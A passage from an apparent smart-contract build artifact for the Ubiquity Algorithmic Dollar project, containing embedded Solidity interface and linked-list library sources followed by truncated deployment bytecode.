== dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"solidity-linked-list/contracts/StructuredLinkedList.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\ninterface IStructureInterface {\\n function getValue(uint256 _id) external view returns (uint256);\\n}\\n\\n/**\\n * @title StructuredLinkedList\\n * @author Vittorio Minacori (https://github.com/vittominacori)\\n * @dev An utility library for using sorted linked list data structures in your Solidity project.\\n */\\nlibrary StructuredLinkedList {\\n\\n uint256 private constant _NULL = 0;\\n uint256 private constant _HEAD = 0;\\n\\n bool private constant _PREV = false;\\n bool private constant _NEXT = true;\\n\\n struct List {\\n uint256 size;\\n mapping(uint256 => mapping(bool => uint256)) list;\\n }\\n\\n /**\\n * @dev Checks if the list exists\\n * @param self stored linked list from contract\\n * @return bool true if list exists, false otherwise\\n */\\n function listExists(List storage self) internal view returns (bool) {\\n // if the head nodes previous or next pointers both point to itself, then there are no items in the list\\n if (self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD) {\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Checks if the node exists\\n * @param self stored linked list from contract\\n * @param _node a node to search for\\n * @return bool true if node exists, false otherwise\\n */\\n function nodeExists(List storage self, uint256 _node) internal view returns (bool) {\\n if (self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD) {\\n if (self.list[_HEAD][_NEXT] == _node) {\\n return true;\\n } else {\\n return false;\\n }\\n } else {\\n return true;\\n }\\n }\\n\\n /**\\n * @dev Returns the number of elements in the list\\n * @param self stored linked list from contract\\n * @return uint256\\n */\\n function sizeOf(List storage self) internal view returns (uint256) {\\n return self.size;\\n }\\n\\n /**\\n * @dev Returns the links of a node as a tuple\\n * @param self stored linked list from contract\\n * @param _node id of the node to get\\n * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node\\n */\\n function getNode(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0, 0);\\n } else {\\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @param _direction direction to step in\\n * @return bool, uint256 true if node exists or false otherwise, node in _direction\\n */\\n function getAdjacent(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0);\\n } else {\\n return (true, self.list[_node][_direction]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, next node\\n */\\n function getNextNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, previous node\\n */\\n function getPreviousNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Can be used before `insert` to build an ordered list.\\n * @dev Get the node and then `insertBefore` or `insertAfter` basing on your list order.\\n * @dev If you want to order basing on other than `structure.getValue()` override this function\\n * @param self stored linked list from contract\\n * @param _structure the structure instance\\n * @param _value value to seek\\n * @return uint256 next node with a value less than _value\\n */\\n function getSortedSpot(List storage self, address _structure, uint256 _value) internal view returns (uint256) {\\n if (sizeOf(self) == 0) {\\n return 0;\\n }\\n\\n uint256 next;\\n (, next) = getAdjacent(self, _HEAD, _NEXT);\\n while ((next != 0) && ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)) {\\n next = self.list[next][_NEXT];\\n }\\n return next;\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertAfter(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _NEXT);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertBefore(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _PREV);\\n }\\n\\n /**\\n * @dev Removes an entry from the linked list\\n * @param self stored linked list from contract\\n * @param _node node to remove from the list\\n * @return uint256 the removed node\\n */\\n function remove(List storage self, uint256 _node) internal returns (uint256) {\\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\\n return 0;\\n }\\n _createLink(self, self.list[_node][_PREV], self.list[_node][_NEXT], _NEXT);\\n delete self.list[_node][_PREV];\\n delete self.list[_node][_NEXT];\\n\\n self.size -= 1; // NOT: SafeMath library should be used here to decrement.\\n\\n return _node;\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @return bool true if success, false otherwise\\n */\\n function pushFront(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Pushes an entry to the tail of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the tail\\n * @return bool true if success, false otherwise\\n */\\n function pushBack(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Pops the first entry from the head of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popFront(List storage self) internal returns (uint256) {\\n return _pop(self, _NEXT);\\n }\\n\\n /**\\n * @dev Pops the first entry from the tail of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popBack(List storage self) internal returns (uint256) {\\n return _pop(self, _PREV);\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @param _direction push to the head (_NEXT) or tail (_PREV)\\n * @return bool true if success, false otherwise\\n */\\n function _push(List storage self, uint256 _node, bool _direction) private returns (bool) {\\n return _insert(self, _HEAD, _node, _direction);\\n }\\n\\n /**\\n * @dev Pops the first entry from the linked list\\n * @param self stored linked list from contract\\n * @param _direction pop from the head (_NEXT) or the tail (_PREV)\\n * @return uint256 the removed node\\n */\\n function _pop(List storage self, bool _direction) private returns (uint256) {\\n uint256 adj;\\n (, adj) = getAdjacent(self, _HEAD, _direction);\\n return remove(self, adj);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @param _direction direction to insert node in\\n * @return bool true if success, false otherwise\\n */\\n function _insert(List storage self, uint256 _node, uint256 _new, bool _direction) private returns (bool) {\\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\\n uint256 c = self.list[_node][_direction];\\n _createLink(self, _node, _new, _direction);\\n _createLink(self, _new, c, _direction);\\n\\n self.size += 1; // NOT: SafeMath library should be used here to increment.\\n\\n return true;\\n }\\n\\n return false;\\n }\\n\\n /**\\n * @dev Creates a bidirectional link between two nodes on direction `_direction`\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _link node to link to in the _direction\\n * @param _direction direction to insert node in\\n */\\n function _createLink(List storage self, uint256 _node, uint256 _link, bool _direction) private {\\n self.list[_link][!_direction] = _node;\\n self.list[_node][_direction] = _link;\\n }\\n}\\n\",\"keccak256\":\"0x3fc4b299c4950243c0d585247dd0d4c49ed576a663cb6e3a16a2ebe979ffbe0e\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b506040516200226e3803806200226e833981016040819052620000349162000144565b60408051808201909152600381526255524960e81b6020820152620000598162000085565b50600380546001600160a01b0319166001600160a01b03929092169190911790556000600455620001b1565b80516200009a9060029060208401906200009e565b5050565b828054620000ac9062000174565b90600052602060002090601f016020900481019282620000d057600085556200011b565b82601f10620000eb57805160ff19168380011785556200011b565b828001600101855582156200011b579182015b828111156200011b578251825591602001919060010190620000fe565b50620001299291506200012d565b5090565b5b808211156200012957600081556001016200012e565b60006020828403121562000156578081fd5b81516001600160a01b03811681146200016d578182fd5b9392505050565b600181811c908216806200018957607f821691505b60208210811415620001ab57634e487b7160e01b600052602260045260246000fd5b50919050565b6120ad80620001c16000396000f3fe608060405234801561001057600080fd5b50600436106100de5760003560e01c8063738f0cf11161008c578063e71fc58f11610066578063e71fc58f146101da578063e985e9c5146101ed578063f242432a14610229578063f7ffe84a1461023c576100de565b8063738f0cf1146101ac578063a22cb465146101bf578063db87b1ff146101d2576100de565b80632eb2c2d6116100bd5780632eb2c2d61461014c578063481c6a75146101615780634e1273f41461018c576100de565b8062fdd58e146100e357806301ffc9a7146101095780630e89341c1461012c575b600080fd5b6100f66100f1366004611baa565b610244565b6040519081526020015b60405180910390f35b61011c610117366004611d04565b6102f0565b6040519015158152602001610100565b61013f61013a366004611d3c565b610344565b6040516101009190611ebb565b61015f61015a366004611a6b565b6103d8565b005b600354610174906001600160a01b031681565b6040516001600160a01b039091168152602001610100565b61019f61019a366004611c05565b610740565b6040516101009190611e7a565b61015f6101ba366004611bd3565b6108b6565b61015f6101cd366004611b74565b610ae9565b6100f6610be1565b61015f6101e8366004611bd3565b610c54565b61011c6101fb366004611a39565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b61015f610237366004611b11565b610e42565b61015f611087565b60006001600160a01b0383166102c75760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000818152602081815260408083206001600160a01b03861684529091529020545b92915050565b60006001600160e01b03198216636cdb3d1360e11b148061032157506001600160e01b031982166303a24d0760e21b145b8061033c57506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b60606002805461035390611f21565b80601f016020809104026020016040519081016040528092919081815260200182805461037f90611f21565b80156103cc5780601f106103a1576101008083540402835291602001916103cc565b820191906000526020600020905b8154815290600101906020018083116103af57829003601f168201915b50505050509050919050565b815183511461044f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060448201527f6d69736d6174636800000000000000000000000000000000000000000000000060648201526084016102be565b6001600160a01b0384166104b35760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016102be565b6001600160a01b0385163314806104cf57506104cf85336101fb565b6105415760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f766564000000000000000000000000000060648201526084016102be565b3360005b84518110156106d257600085828151811061057057634e487b7160e01b600052603260045260246000fd5b60200260200101519050600085838151811061059c57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e16835290935291909120549091508181101561062f5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b60648201526084016102be565b6106398282611f0a565b60008085815260200190815260200160002060008c6001600160a01b03166001600160a01b03168152602001908152602001600020819055508160008085815260200190815260200160002060008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546106b79190611ef2565b92505081905550505050806106cb90611f89565b9050610545565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610722929190611e8d565b60405180910390a4610738818787878787611116565b505050505050565b606081518351146107b95760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d61746368000000000000000000000000000000000000000000000060648201526084016102be565b6000835167ffffffffffffffff8111156107e357634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561080c578160200160208202803683370190505b50905060005b84518110156108ae5761087385828151811061083e57634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061086657634e487b7160e01b600052603260045260246000fd5b6020026020010151610244565b82828151811061089357634e487b7160e01b600052603260045260246000fd5b60209081029190910101526108a781611f89565b9050610812565b509392505050565b6003546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b15801561090357600080fd5b505afa158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611cec565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561097857600080fd5b505afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611cd0565b6109fc5760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e61676572000060448201526064016102be565b81610a078483610244565b1015610a555760405162461bcd60e51b815260206004820152601f60248201527f436f75706f6e206f776e6572206e6f7420656e6f75676820636f75706f6e730060448201526064016102be565b610a608382846112cb565b604080516001600160a01b0385168152602081018390529081018390527ffe9cd66a03bb9bae13904547cf3265727d3fb385e165cfca832f24f62fad083d9060600160405180910390a1600081815260056020526040902054610ac4908390611f0a565b600082815260056020526040902055600454610ae1908390611f0a565b600455505050565b336001600160a01b0383161415610b685760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c66000000000000000000000000000000000000000000000060648201526084016102be565b3360008181526001602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610bd5911515815260200190565b60405180910390a35050565b6004546000908180610bf460068261144d565b9150505b81158015610c0557508015155b15610c4b5743811115610c1b5760019150610c37565b600081815260056020526040902054610c349084611f0a565b92505b610c4260068261144d565b9150610bf89050565b50909150505b90565b6003546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b158015610ca157600080fd5b505afa158015610cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd99190611cec565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610d1657600080fd5b505afa158015610d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4e9190611cd0565b610d9a5760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e61676572000060448201526064016102be565b610db583828460405180602001604052806000815250611467565b604080516001600160a01b0385168152602081018390529081018390527fee6a2b6b9d52e9b905b3b53a76ff201a4762f6d3c40a5a976a7bfbb7cce2499f9060600160405180910390a1610e0a600682611568565b50600081815260056020526040902054610e25908390611ef2565b600082815260056020526040902055600454610ae1908390611ef2565b6001600160a01b038416610ea65760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016102be565b6001600160a01b038516331480610ec25750610ec285336101fb565b610f345760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201527f20617070726f766564000000000000000000000000000000000000000000000060648201526084016102be565b33610f54818787610f448861157d565b610f4d8861157d565b5050505050565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015610fd85760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b60648201526084016102be565b610fe28482611f0a565b6000868152602081815260408083206001600160a01b038c8116855292528083209390935588168152908120805486929061101e908490611ef2565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461107e8288888888886115d6565b50505050505050565b60008061109460066116e1565b90505b811580156110a457508015155b1561111257438111156110c6576110bc6006826116ee565b5060019150611101565b6000818152600560205260409020546004546110e29190611f0a565b6004556000818152600560205260408120556110ff6006826116fc565b505b61110b60066116e1565b9050611097565b5050565b6001600160a01b0384163b156107385760405163bc197c8160e01b81526001600160a01b0385169063bc197c819061115a9089908990889088908890600401611dd9565b602060405180830381600087803b15801561117457600080fd5b505af19250505080156111a4575060408051601f3d908101601f191682019092526111a191810190611d20565b60015b61125a576111b0611fd0565b806308c379a014156111ea57506111c5611fe7565b806111d057506111ec565b8060405162461bcd60e51b81526004016102be9190611ebb565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e74657200000000000000000000000060648201526084016102be565b6001600160e01b0319811663bc197c8160e01b1461107e5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b60648201526084016102be565b6001600160a01b03831661132d5760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b60648201526084016102be565b3361135d8185600061133e8761157d565b6113478761157d565b5050604080516020810190915260009052505050565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156113da5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b60648201526084016102be565b6113e48382611f0a565b6000858152602081815260408083206001600160a01b038a811680865291845282852095909555815189815292830188905292938616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b60008061145c84846001611795565b915091509250929050565b6001600160a01b0384166114c75760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016102be565b336114d881600087610f448861157d565b6000848152602081815260408083206001600160a01b038916845290915281208054859290611508908490611ef2565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4610f4d816000878787876115d6565b6000611576838360006117dc565b9392505050565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106115c557634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b6001600160a01b0384163b156107385760405163f23a6e6160e01b